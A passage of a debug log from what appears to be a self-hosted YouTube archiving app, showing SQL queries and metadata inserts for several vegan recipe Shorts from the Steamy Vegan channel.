#thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts", 1, 52, false, "77_m-FKvGUs", "https://www.youtube.com/shorts/77_m-FKvGUs", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts/BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts [77_m-FKvGUs].NA", true, ~U[2022-05-20 00:00:02Z]] 20:30:15.197 [debug] QUERY OK source="sources" db=0.3ms idle=552.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:15.198 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:15.198 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [829] 20:30:15.198 [debug] Current batch of media processed. Will check again in 1000ms 20:30:15.553 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:16.199 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Last up in my easy vegan lunch series 😉 LOADED LAZY NOODLE BOWLS 🍜 \n\nFeeling like a 9/10 on the lazy scale? This is your sign to make some cheap fancy soup 🍲 Check out the full video 'EASY VEGAN LUNCH RECIPES' https://youtu.be/-q-Al8ffyEg\n\nAll your veggies can be thrown into one bowl to cook if you want, as long as none of them are frozen, otherwise you might end up with lukewarm water and undercooked noodles 😱 \n\nSAVE THIS RECIPE TO MAKE LATER! Full recipe on the blog: https://steamyvegankitchen.com/loaded-lazy-noodle-bowls/\n\nIngredients 🍜 for TWO\n2 packs of vegan instant noodles or ramen \n2 baby bok choy\n2 green onions \n1 small carrot \n1/2 a celery stalk \n2” chunk daikon radish \n1 cup soy curls \n\n🔸 In a large bowl pour boiling hot water over the soil curls to rehydrate them (10 mins). Strain and press out excess moisture. Set aside.\n🔸 While soy curls do their thing, chop your veggies as you please. Add the noodle bowl contents into 2 large bowls, and add all the veg except green onion and bio choy. Pour boiling hot water overtop, cover with plates and let cook for 5 mins.\n🔸 While the noods do their thing, quickly sauté the bok choy and (optional) frozen edamame. \n🔸 Add the bok choy, edamame, soy curls, green onion and whatever garnishes you love. Try cilantro and sriracha! Slurp up and enjoy your lazy bowl 🥣 \n\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-19 LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱/LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱 [lxaC1ny1lnI].NA", "id" => "lxaC1ny1lnI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/lxaC1ny1lnI", "playlist_index" => 441, "timestamp" => 1652986824, "title" => "LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱", "upload_date" => "20220519"} 20:30:16.200 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:16.201 [debug] QUERY OK source="sources" db=0.5ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:16.203 [debug] QUERY OK source="media_items" db=2.1ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-19 19:00:24Z], 1] 20:30:16.206 [debug] QUERY OK source="media_items" db=2.3ms idle=650.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Last up in my easy vegan lunch series 😉 LOADED LAZY NOODLE BOWLS 🍜 \n\nFeeling like a 9/10 on the lazy scale? This is your sign to make some cheap fancy soup 🍲 Check out the full video 'EASY VEGAN LUNCH RECIPES' https://youtu.be/-q-Al8ffyEg\n\nAll your veggies can be thrown into one bowl to cook if you want, as long as none of them are frozen, otherwise you might end up with lukewarm water and undercooked noodles 😱 \n\nSAVE THIS RECIPE TO MAKE LATER! Full recipe on the blog: https://steamyvegankitchen.com/loaded-lazy-noodle-bowls/\n\nIngredients 🍜 for TWO\n2 packs of vegan instant noodles or ramen \n2 baby bok choy\n2 green onions \n1 small carrot \n1/2 a celery stalk \n2” chunk daikon radish \n1 cup soy curls \n\n🔸 In a large bowl pour boiling hot water over the soil curls to rehydrate them (10 mins). Strain and press out excess moisture. Set aside.\n🔸 While soy curls do their thing, chop your veggies as you please. Add the noodle bowl contents into 2 large bowls, and add all the veg except green onion and bio choy. Pour boiling hot water overtop, cover with plates and let cook for 5 mins.\n🔸 While the noods do their thing, quickly sauté the bok choy and (optional) frozen edamame. \n🔸 Add the bok choy, edamame, soy curls, green onion and whatever garnishes you love. Try cilantro and sriracha! Slurp up and enjoy your lazy bowl 🥣 \n\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱", "b868b248-907e-4ee4-9da0-1a49880cf06d", 1, [], 60, false, "lxaC1ny1lnI", "https://www.youtube.com/shorts/lxaC1ny1lnI", 441, "/downloads/downloads/alec/Steamy Vegan/2022-05-19 LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱/LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱 [lxaC1ny1lnI].NA", false, false, true, 0, ~U[2022-05-19 19:00:24Z], ~U[2026-03-22 03:30:16Z], ~U[2026-03-22 03:30:16Z], "Last up in my easy vegan lunch series 😉 LOADED LAZY NOODLE BOWLS 🍜 \n\nFeeling like a 9/10 on the lazy scale? This is your sign to make some cheap fancy soup 🍲 Check out the full video 'EASY VEGAN LUNCH RECIPES' https://youtu.be/-q-Al8ffyEg\n\nAll your veggies can be thrown into one bowl to cook if you want, as long as none of them are frozen, otherwise you might end up with lukewarm water and undercooked noodles 😱 \n\nSAVE THIS RECIPE TO MAKE LATER! Full recipe on the blog: https://steamyvegankitchen.com/loaded-lazy-noodle-bowls/\n\nIngredients 🍜 for TWO\n2 packs of vegan instant noodles or ramen \n2 baby bok choy\n2 green onions \n1 small carrot \n1/2 a celery stalk \n2” chunk daikon radish \n1 cup soy curls \n\n🔸 In a large bowl pour boiling hot water over the soil curls to rehydrate them (10 mins). Strain and press out excess moisture. Set aside.\n🔸 While soy curls do their thing, chop your veggies as you please. Add the noodle bowl contents into 2 large bowls, and add all the veg except green onion and bio choy. Pour boiling hot water overtop, cover with plates and let cook for 5 mins.\n🔸 While the noods do their thing, quickly sauté the bok choy and (optional) frozen edamame. \n🔸 Add the bok choy, edamame, soy curls, green onion and whatever garnishes you love. Try cilantro and sriracha! Slurp up and enjoy your lazy bowl 🥣 \n\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱", 1, 60, false, "lxaC1ny1lnI", "https://www.youtube.com/shorts/lxaC1ny1lnI", "/downloads/downloads/alec/Steamy Vegan/2022-05-19 LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱/LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱 [lxaC1ny1lnI].NA", true, ~U[2022-05-19 19:00:24Z]] 20:30:16.207 [debug] QUERY OK source="sources" db=0.3ms idle=560.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:16.207 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:16.208 [debug] QUERY OK source="media_items" db=0.5ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [830] 20:30:16.208 [debug] Current batch of media processed. Will check again in 1000ms 20:30:17.209 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Next up in my easy vegan lunch series, this 1-BOWL ZESTY BLACK BEAN MASH is the ✨ real deal ✨ So great for easy meal prep and quick lunches!\n\n10 MINUTES - 9 INGREDIENTS - 1 BOWL 🥣 For full recipe and instructions, head to my video EASY VEGAN LUNCH IDEAS: https://youtu.be/-q-Al8ffyEg\n\nNot exaggerating at all when I say this will be your new fave once you try it 😉\n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe In the blog: steamyvegankitchen.com/zesty-black-bean-mash/\n\n🔸 1 can black beans, drained and rinsed \n🔸 1/2 cup salsa \n🔸 1 tbsp vegan mayo\n🔸 1 tbsp hot/grainy mustard \n🔸 1 tsp smoked paprika \n🔸 1/2 tsp garlic powder \n🔸 2 green onions \n🔸 juice of 1/2 a lime \n🔸 large handful of cilantro \n\nMash the beans in a large bowl, add all remaining ingredients and combine well with a fork. Serve on toast, with tortillas chips or enjoy on its own 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-19 1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!/1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly! [X45OcDpQt28].NA", "id" => "X45OcDpQt28", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/X45OcDpQt28", "playlist_index" => 442, "timestamp" => 1652972416, "title" => "1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!", "upload_date" => "20220519"} 20:30:17.210 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:17.211 [debug] QUERY OK source="sources" db=0.4ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:17.213 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-19 15:00:16Z], 1] 20:30:17.215 [debug] QUERY OK source="media_items" db=1.3ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Next up in my easy vegan lunch series, this 1-BOWL ZESTY BLACK BEAN MASH is the ✨ real deal ✨ So great for easy meal prep and quick lunches!\n\n10 MINUTES - 9 INGREDIENTS - 1 BOWL 🥣 For full recipe and instructions, head to my video EASY VEGAN LUNCH IDEAS: https://youtu.be/-q-Al8ffyEg\n\nNot exaggerating at all when I say this will be your new fave once you try it 😉\n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe In the blog: steamyvegankitchen.com/zesty-black-bean-mash/\n\n🔸 1 can black beans, drained and rinsed \n🔸 1/2 cup salsa \n🔸 1 tbsp vegan mayo\n🔸 1 tbsp hot/grainy mustard \n🔸 1 tsp smoked paprika \n🔸 1/2 tsp garlic powder \n🔸 2 green onions \n🔸 juice of 1/2 a lime \n🔸 large handful of cilantro \n\nMash the beans in a large bowl, add all remaining ingredients and combine well with a fork. Serve on toast, with tortillas chips or enjoy on its own 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!", "d3fce2f7-7cec-4db8-bbdb-f96aedb371bc", 1, [], 59, false, "X45OcDpQt28", "https://www.youtube.com/shorts/X45OcDpQt28", 442, "/downloads/downloads/alec/Steamy Vegan/2022-05-19 1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!/1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly! [X45OcDpQt28].NA", false, false, true, 1, ~U[2022-05-19 15:00:16Z], ~U[2026-03-22 03:30:17Z], ~U[2026-03-22 03:30:17Z], "Next up in my easy vegan lunch series, this 1-BOWL ZESTY BLACK BEAN MASH is the ✨ real deal ✨ So great for easy meal prep and quick lunches!\n\n10 MINUTES - 9 INGREDIENTS - 1 BOWL 🥣 For full recipe and instructions, head to my video EASY VEGAN LUNCH IDEAS: https://youtu.be/-q-Al8ffyEg\n\nNot exaggerating at all when I say this will be your new fave once you try it 😉\n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe In the blog: steamyvegankitchen.com/zesty-black-bean-mash/\n\n🔸 1 can black beans, drained and rinsed \n🔸 1/2 cup salsa \n🔸 1 tbsp vegan mayo\n🔸 1 tbsp hot/grainy mustard \n🔸 1 tsp smoked paprika \n🔸 1/2 tsp garlic powder \n🔸 2 green onions \n🔸 juice of 1/2 a lime \n🔸 large handful of cilantro \n\nMash the beans in a large bowl, add all remaining ingredients and combine well with a fork. Serve on toast, with tortillas chips or enjoy on its own 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!", 1, 59, false, "X45OcDpQt28", "https://www.youtube.com/shorts/X45OcDpQt28", "/downloads/downloads/alec/Steamy Vegan/2022-05-19 1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!/1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly! [X45OcDpQt28].NA", true, ~U[2022-05-19 15:00:16Z]] 20:30:17.216 [debug] QUERY OK source="sources" db=0.2ms idle=568.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:17.216 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:17.217 [debug] QUERY OK source="media_items" db=0.3ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [831] 20:30:17.217 [debug] Current batch of media processed. Will check again in 1000ms 20:30:18.218 [debug] Current batch of media processed. Will check again in 1000ms 20:30:19.219 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "First up in my #easyveganlunch series ✨ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DRESSING✨\n\nNourishing - filling - fun to make! An easy vegan lunch idea\n\nIf you’ve never made salad rolls before, this is your sign 😉 For full recipe and instructions, head to my EASY VEGAN LUNCH IDEAS VIDEO: https://youtu.be/-q-Al8ffyEg \n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe on my blog: https://steamyvegankitchen.com/asian-inspired-tofu-salad-rolls/ \n\nTofu marinade:\n🔸2 tbsp GF soy sauce or tamari \n🔸 2 tbsp maple syrup \n🔸 2 tbsp sesame oil \n🔸 dash of cayenne pepper \n\nVeggies I used:\n🔸 Carrot\n🔸 Zucchini \n🔸 Daikon radish \n🔸 Red onion \n🔸 Spinach \n\nDipping sauce: \n🔸 2 tbsp tahini \n🔸 2 tbsp tamari \n🔸 juice of 1/2 a lemon \n🔸 1 tsp sweetener \n\n1. Combine all marinade ingredients in a jar, shake well and pour over sliced tofu in a ziploc bag and marinate for 20 mins up to overnight.\n2. Bake tofu for 40 mins at 425F on top rack, turning halfway through. \n3. Thinly slice all your veggies. Run rice paper sheets (will need 8 total) through warm water and roll up the veggies and tofu (slice each piece in half) inside like a burrito. Set aside.\n4. Combine all dipping sauce ingredients in a small bowl. Dip, dip hooray! Enjoy your salad rolls 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-19 ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱/ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱 [TwRn_K-ZTW0].NA", "id" => "TwRn_K-ZTW0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/TwRn_K-ZTW0", "playlist_index" => 443, "timestamp" => 1652918412, "title" => "ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱", "upload_date" => "20220519"} 20:30:19.221 [debug] QUERY OK source="sources" db=1.2ms idle=630.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 